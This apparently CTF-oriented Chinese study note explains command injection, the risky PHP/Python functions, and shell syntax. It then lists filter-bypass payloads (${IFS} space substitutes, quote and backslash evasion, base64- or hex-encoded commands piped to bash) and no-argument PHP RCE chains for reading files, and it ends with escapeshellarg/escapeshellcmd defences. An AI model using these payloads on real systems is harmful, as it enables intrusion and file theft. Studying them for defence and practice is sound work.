命令注入漏洞介绍

Command Injection,即命令注入攻击
是指由于嵌入式应用程序或者 web 应用程序对用户提交的数据过滤不严格,导致黑客可以通
过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系
统命令实施攻击,非法获取数据或者网络资源等。
其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用需要调用一些外
部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 system,
exec,shell_exec 等函数,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命
令到正常命令中,造成命令执行攻击。

命令注入是一种常见的漏洞形态。Web 应用在调用这些函数执行系统命令的时候,在没有
做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,
就会造成命令注(命令执行)的漏洞。一旦存在命令注入漏洞,攻击者就可以在目标系统
执行任意命令。
命令执行继承 Web Server 用户的权限,一般都有权限写文件,写马、查看隐私信息、窃
取源码,甚至可以反弹shell,危害十分大。

命令注入的形成需要如下三个条件:

  1. 使用了内部调用shell的函数:system(),exec()等
  2. 将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数
  3. 参数中 shell 的元字符没有被转义

Web 程序过滤不严谨,导致用户可以将命令注入并执行。
以下是一些常见的容易出现该问题的函数
• PHP 当中的高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、
popen()、proc_open() 等函数(注:反引号是 shell_exec() 的别名)
• Python 当中的高危函数:os.system()、os.popen()、os.execv()、os.execl()、
commands.getstatusoutput()、subprocess.Popen()、subprocess.call()、
subprocess.run() 等
代码注入与命令注入类似,也是程序过滤不严谨,过于相信用户输入,导致用户可以将代码
注入并执行。但是与命令注入不同的是,一个是执行系统命令,一个是执行程序代码。
• PHP 中的高危函数:eval()、assert()、preg_replace()、call_user_func() 等等
• Python 中的高危函数:eval()、exec() 等等
跟命令注入一样,都能造成极大的危害

Linux命令基础

; (分号)

1
格式:cmd1;cmd2;cmd3

cmd1将首先运行,不管cmd1运行成功还是出现错误,cmd2都会在它之后运行,当cmd2
命令完成时,cmd3将会运行。

| (管道符)

1
格式:cmd1|cmd2

连结上个指令的标准输出,做为下个指令的标准输入。前一个命令的结果作为后一个命令
的参数。

如echo “1”|base64,结果是1的base64编码结果MQo=

& (and符)

1
格式:cmd1&

用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台
执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,
在命令的后面加上&

$ (命令提示符)

1
2
3
4
5
6
7
8
9
10
假设执行 ./test.sh a b c 这样一个命令,则可以使用下面的参数来获取一些值:
• $0: 对应 ./test.sh 这个值。如果执行的是 ./work/test.sh, 则对应 ./work/test.sh 这个值,
而不是只返回文件名本身的部分。
• $1: 会获取到 a,即 $1 对应传给脚本的第一个参数。
• $2: 会获取到 b,即 $2 对应传给脚本的第二个参数。
• $3: 会获取到 c,即 $3 对应传给脚本的第三个参数。$4、$5 等参数的含义依此类推。
• $#: 会获取到 3,对应传入脚本的参数个数,统计的参数不包括 $0。
• $@: 会获取到 "a" "b" "c",也就是所有参数的列表,不包括 $0。
• $*: 也会获取到 "a" "b" "c", 其值和 $@ 相同。但 "$*" 和 "$@" 有所不同。
• “$*“把所有参数合并成一个字符串,而“$@”得到一个字符串参数数组。

注: $*,$@有无引号是两条命令!

Shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 Shell 变量 $? 中。
• 当 $? == 0 时,表示执行成功;当 $? == 1时,表示执行失败。
• 有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执
行另一条命令,或者在一条命令执行失败后再执行另一条命令等。
• Shell 提供了 && 和 || 来实现命令执行控制的功能, Shell 将根据 && 或 || 前面命令的返
回值来控制其后面命令的执行。

&&

1
格式:cmd1 && cmd2 && cmd3

有时候希望确保 Linux 命令中,只有在前一个命令成功结束时,下一个命令才会运行。这
时候就需要逻辑和运算符 && 出现的地方。只有在 && 左边的命令返回真(命令返回值 $?
== 0), && 右边的命令才会被执行;只要有一个命令返回假($? == 1),后面的命令
就不会被执行。

||

1
格式:cmd1 || cmd2 || cmd3 

命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值 $?
== 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻
辑或操作。只要有一个命令返回真($? == 0),后面的命令就不会被执行

` (反引号/重音符)

首先这个符号是英文状态下的1左边那个键`

1
格式:cmd1 `cmd2`

命令替代,大部分 Unix Shell 以及编程语言如 Perl、PHP 以及 Ruby 等都以成对的重音
符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。

如格式,则命令cmd1调用另一个命令cmd2的执行结果

[] (中括号/方括号)

格式:[ condition ]

bash 的内部命令,[ 和 test 是等同的。常出现在流程控制中,扮演括住判断式的作用。
if/test 结构中的左中括号是调用 test 的命令标识,右中括号是关闭条件判断的。
例如:
[ $var -eq 0 ] # 当 $var 等于 0 时,返回真
[ $var -ne 0 ] # 当 $var 不等于 0 时,返回真

(-eq是等于,-ne是不等于)

而这个符号在正则里,则担任类似“集合”或者“范围”的角色(过段时间就复习正则)

{}(大括号/花括号)

大括号拓展

(通配(globbing))将对大括号中的文件名做扩展。在大括号中,不允许有空白,
除非这个空白被引用或转义。
• 第一种:对大括号中的以逗号分割的文件列表进行拓展。
• 第二种:对大括号中以点点(..)分割的顺序文件列表起拓展作用

如 cat ./fl{a,b,c}g.txt可以获取到flag.txt,flbg.txt,flcg.txt
而cat ./fl{a..c}g.txt也可以获取到flag.txt,flbg.txt,flcg.txt

字符串提取和替换

• ${var:num} :从 var 变量中提取第 num 个字符到末尾的所有字符。若num为正数,
从左边0处开始;若num为负数,从右边开始提取字串,但必须使用在冒号后面加空
格或整个num加上括号。

即可以${var:4}

${var: -3}(加了空格)

或${var:(-3)}

同时也可以${var:num1:num2}:num1是位置,num2是长度。表示从$var字符串的第$num1个
位置开始提取长度为$num2的子串。不能为负数。

${var/pattern1/pattern2}表示将 var 变量字符串pattern1 替换为pattern2 。

${var//pattern1/pattern2}:将 var 变量字符串中的所有能匹配的 pattern1 替换为pattern2 。

glob模式/通配符

在编程中匹配字符最常见的工具是正则表达式,此外还有一种 glob 模式经常用于匹配文件路径,glob 模式在某些方面与正则表达式功能相同,但是他们各自有着不同的语法和约定

shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

glob* 模式(globbing)也被称之为 shell 通配符,是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,下面是一些常见的通配符

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
P 匹配str1或者str2或更多字符串,也可以是集合
IFS 三者之一组成
CR 产生
执行history中的命令

当你在shell(控制台、终端随便叫)中输入并执行命令时,shell会自动把你的命令记录到历史列表中,
一般保存在用户目录下的.bash_history文件中。默认保存1000条,当然你可以更改这个值。

这边解释一下“!”

使用history命令来显示列表,可以跟一个整数表示希望显示最后的多少条命令。如下:
$ history 10
526 ls web/
527 clear
528 ls -a
529 history 10
530 date
531 make -v
532 sudo apt-get –help
533 history 10
534 gcc -v
535 history 10

每条命令前都有一个序号标示,你可以使用下面的方法回忆出以前执行过的命令。

!n    这个n表示序号,假如你想重新执行第528条命令ls -a,那么你可以使用!528

!!     这将会重新执行上一条命令

!?String?   这个String可以随便输,Shell会从最后一条历史命令向前搜索,最先匹配的一条命令将会得到执行。
比如你输入 !?gc? 那第534条命令gcc -v就会执行。

专用字符集

在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如[[:space:]]
•想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现
单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
• 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符。

字符 意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符

如cat ./fl[[:lower:]]g.txt

可以获取当前目录的flag.txt,flbg.txt……flzg.txt,嗯……如果有的话。

关于 (反斜杠) 的转义
• 反斜杠只有在后面跟上以下字符时才有特殊含义:‘$’、‘`’、‘“’、’/’或 换行。
• 在 Bash 中不能用 (反斜杠) 来转义单引号

命令注入漏洞常见绕过方法

过滤空格

< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS
{cat,flag.php} //用逗号实现了空格功能,整体由大括号包裹
%20
\t

关键字过滤

变量绕过

a=l;b=s;$a$b
echo $PATH| cut -c 1 (这样能得到“/”)

反斜杠绕过

ca\t fl\ag.txt

引号绕过

cat fla”g.txt或c”a”t f”l’a’g

通配符技巧

cat fl[a]g 或 cat fla* 或 cat fla? 或 cat fla{a..g}等

编码绕过

base64

echo “Y2F0IGZsYWcudHh0”|base64 –d|bash

hex

echo “63617420666c61672e747874”|xxd –r –p|bash

oct

$(printf “\154\163”)

printf各种编码

{printf,”\x6c\x73”}|bash

• ${PS2} 对应字符 >
• ${PS4} 对应字符 +
• ${IFS} 对应 内部字段分隔符
• ${9} 对应 空字符串

无参数RCE

读文件:当前目录下

详情可以参考https://www.freesion.com/article/65661087064/

无参数,顾名思义,就是只使用函数,且函数不能带有参数。

这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

首先要了解一些函数:

scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。

由此,print_r(scandir(‘.’));就可以查看当前目录的所有文件名

localeconv():返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

img

current()函数:返回数组中当前元素的值,默认值是1

因此,print_r(scandir(current(localeconv())));即可以成功打印出当前目录下文件

或者也可以用pos代替current,因为pos是current的别名

reset()函数返回值是数组里第一个单元的值,如果数组为空返回FALSE,如果前两个被过滤了用这个也可以

此外,getcwd()可以获取绝对路径

所以我们还可以用print_r(scandir(getcwd()))

其他得到.的方法可以去看看上面贴的大佬的博客

总之直到这里,都是在执行ls的功能,下面来实现读取文件的内容

1668936807360

读文件的函数可以用show_source,readfile,highlight_file,file_get_contents,readgzfile等都可以

如要获取最后一个,就可以

show_source(end(scandir(current(localeconv()))));

此外,array_reverse()函数可以将数组逆序返回,所以获取最后一个文件也可以

show_source(current(array_reverse(scandir(current(localeconv())))));

然而,目前为止,我们在读文件的时候只能获取到数组的第1,2和倒数第1,2个文件,怎么去获取位于中间的文件?
我们可以使用array_rand(array_flip())函数,其中array_flip()是交换数组的键和值,array_rand()是用来随机返回一个数组,所以我们可以用:

1
highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

这样只要多刷新几次,就能读取到flag.php

读文件:不在当前目录

前面都是目标文件就在当前目录下的情况,还是很友好的,如果目标文件不在当前目录下呢?

这里需要再学几个函数了

首先是dirname(),这个函数可以返回路径中的目录部分

这里注意一下,当dirname的参数是绝对路径(不包含文件名)时,返回上一层路径

但是参数是包含文件名的时候,返回的是文件当前的目录部分

因此,我们可以用下面这种构造方法来查看上一级目录的文件(即达到ls ../的目的)

1
print_r(scandir(dirname(pos(localeconv()))))

(其实和查看当前目录相比也就多了层dirname的套娃)

在上面情况里,我们用localeconv()构造了.,实际上我们还可以用相似的思维构造..,这样就可以在dirname()被过滤的时候来构造了

如scandir(pos(localeconv()))出现的文件数组里,第二个就是..

因此可以用下面这种方法来查看上级目录文件

1
print_r(scandir(next(scandir(pos(localeconv())))))

下一个要了解的函数是chdir(),这个是用来改变当前工作目录的,相当于cd

首先按照大佬博客

1669013369563

所以我们只能先用chdir()切换到上级目录,再去读取文件

所以可以这么构造

1
highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))))

这里解释一下,chdir的返回值是布尔类型的,所以在chdir的外层还有一个dirname来获取切换后的当前目录,在scandir获取这个目录的文件,因此构造需要两个dirname

用这种if()来构造可能会更加直观一点

1
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

dirname如果被过滤了可以用构造..的方法,但是要注意,在这种方法里,getcwd()和localeconv()都不能接收参数,详情可以看贴的那篇博客,用crypt()和time()来接收参数和构造

构造字符串

& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,此外还可以用++来自增

防御措施

escapeshellarg(string)将括号里的字符串增加一个单引号,同时引用或者转码任何已经存在的单引号

这个函数的作用下,可以:
确保用户只传递一个参数给命令
用户不能指定更多的参数
用户不能执行不同的命令

escapeshellcmd(string)可以把字符串内可能欺骗shell命令执行任意命令的字符进行转义,如&,;等

这个函数作用下,可以:
确保用户只执行一个命令
用户可以指定不限数量的参数
用户不能执行不同的命令

关于命令注入的盲注部分,等写到对应的题目再来整理。